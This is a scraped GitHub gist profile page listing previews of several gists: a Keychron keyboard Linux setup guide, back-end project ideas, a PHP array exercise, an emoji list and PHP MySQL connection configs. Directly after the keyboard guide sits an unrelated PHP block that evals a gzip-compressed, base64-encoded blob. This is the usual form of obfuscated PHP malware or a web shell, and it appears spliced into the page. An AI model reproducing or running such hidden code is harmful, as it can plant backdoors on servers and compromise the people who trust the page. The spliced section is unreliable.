Skip to content

Instantly share code, notes, and snippets.

View ahanafi's full-sized avatar
:octocat:
Available!

Ahmad Hanafi ahanafi

:octocat:
Available!
View GitHub Profile
@ahanafi
ahanafi / keychron_linux.md
Created April 13, 2023 02:21 — forked from andrebrait/keychron_linux.md
Keychron keyboards on Linux + Bluetooth fixes

Here is the best setup (I think so :D) for K-series Keychron keyboards on Linux.

Most of these commands have been tested on Ubuntu 20.04 and should also work on most Debian-based distributions. If a command happens not to work for you, take a look in the comment section.

Make Fn + F-keys work

Keychron Keyboards on Linux use the hid_apple driver (even in Windows/Android mode), both in Bluetooth and Wired modes. By default, this driver uses the F-keys as multimedia shortcuts and you have to press Fn + the key to get the usual F1 through F12 keys.

<?php
$O000285159bbe39d54043cb7aca5b1d751cabb9e70=__FILE__; eval(stripslashes(gzinflate(base64_decode('lZPJjqtGGIXXHSnv4EiR2i0vTDEZFGUB2GCwMXaDmTZXVVQxmMFgBmOi++7x7e5Eyu6mVFLpX9S3OOf7X3795eV5sng2/20W91XUZdfqGxmztmvnrxZFUbTAAU5EiDAi5liKZSK0ghHkEMArDkQQIZGswOvb2+yvT9Y/lNnP/57/blkUECiRet4V4Kzn+C/vhQywmLfdLavbArYpaefJlFVxATsyR7AlPPsNk+iKyfwVuWuMrvpd2wP6gXnZOA8SkkoVRudgT603mu5q7sHB2uHkKV5yA3DTkyV2a24wjlahDhwfx5dSHdlYUSJBh6ckTItQO22k6aR6jb0yon4pjfn7ya6ZbCdO2zjK/ev00BMn94JRTVq7FvwuSFcmwxO0MPXQTzomthZ2pZcq3S1xqSqS6iWsuYTWkBQC7wcnsCPKDuXqEQ212KnKkFwc2VtM3l6jOGkwXZIFq3sJ0UV9ZFOuGbBUpkel8JNeh1j2Gl2kxhx1dbHie+dKX5jDmWISnDNS5aq1vKvJMC2M00amuqnfGiUNL7asSL4Ce9wBKUq8dZnVgvdwLWq7kdIrGUy76/PjsUv22L5A5LQ6715SejLCgXJzVyAOFsWimcYsIru7CPZ3WcRlP6AzlLdJ8/BzBnrU1fUpwrqVk0SH9x6ryPTB+oq4y8YMwlQHdKbGdFzKUy7draWbxd5ET/s0UmG3A1mzvKXR6DyGrcg3bOcLfvxU7e3tj9mXHDfS9bdq9lN6PC0DliUIT8Gean4I9wP1Sfr+Rfz++fwP6QqsHpRWv2+kZ9OBwUSKRiU2W5Znvjr5jbbdyBuzLfWMNWzfTwX+vshY0yjLJVko4TEMLiyaHlcp0QYjT/G7aBRNs94Y4/huIA0+dkHNhjhyHd1R+nNQESBrYRfD2mquDpZ0te/r3TZc
@ahanafi
ahanafi / project-ideas01.md
Created February 19, 2022 10:33 — forked from MWins/project-ideas01.md
Back end Projects - list

Project Ideas

Ok. I'm going to list off some ideas for projects. You will have to determine if any particular idea is good enough to include in a portfolio. These aren't creative ideas. They likely already exist. Some are way too advanced while others are simplistic.

I will recommend to post any project you make to github and make a github project page for it. Explain in as much detail as possible how you made it, how it can be improved etc. Document it.

If you pick an advanced idea, setup a development roadmap and follow it. This will show some project management skills.

Another piece of advice for those who are design challenged. Use different front end frameworks and use different themes for those frameworks to provide appealing designs without looking like yet another bootstrap site.

@ahanafi
ahanafi / min-max-array.php
Created December 12, 2021 12:21
Get max and min in array
<?php
/*
* TODO: Cari Nilai terkecil dan terbesar dari suatu array tanpa menggunakan fungsi built in dari bahasa program yang digunakan
* */
/*
* Solusi: Menggunakan logika bubble sort, kemudian dapat kan data index pertama dan terakhir
* */
function solutions(array $numbers)
@ahanafi
ahanafi / gist:f55449a2518b20093a34104f0e45e22b
Created December 11, 2020 12:15 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@ahanafi
ahanafi / config-pdo.php
Last active October 5, 2020 01:52
Koneksi PHP dan MySQL dengan PDO
<?php
$hostname = "localhost";
$username = "root";
$password = "secret-password";
$dbname = "my_database";
try {
$connect = new PDO("mysql:dbname=$dbname;host=$hostname", $username, $password);
} catch (PDOException $e) {
@ahanafi
ahanafi / config.php
Created October 5, 2020 01:27
Koneksi PHP dan MySQL
<?php
$hostname = "localhost";
$username = "root";
$password = "secret-password";
$dbname = "my_database";
//Koneksi dengan fungsi mysql_connect
$connect = mysql_connect($hostname, $username, $password);
mysql_select_db($dbname, $connect);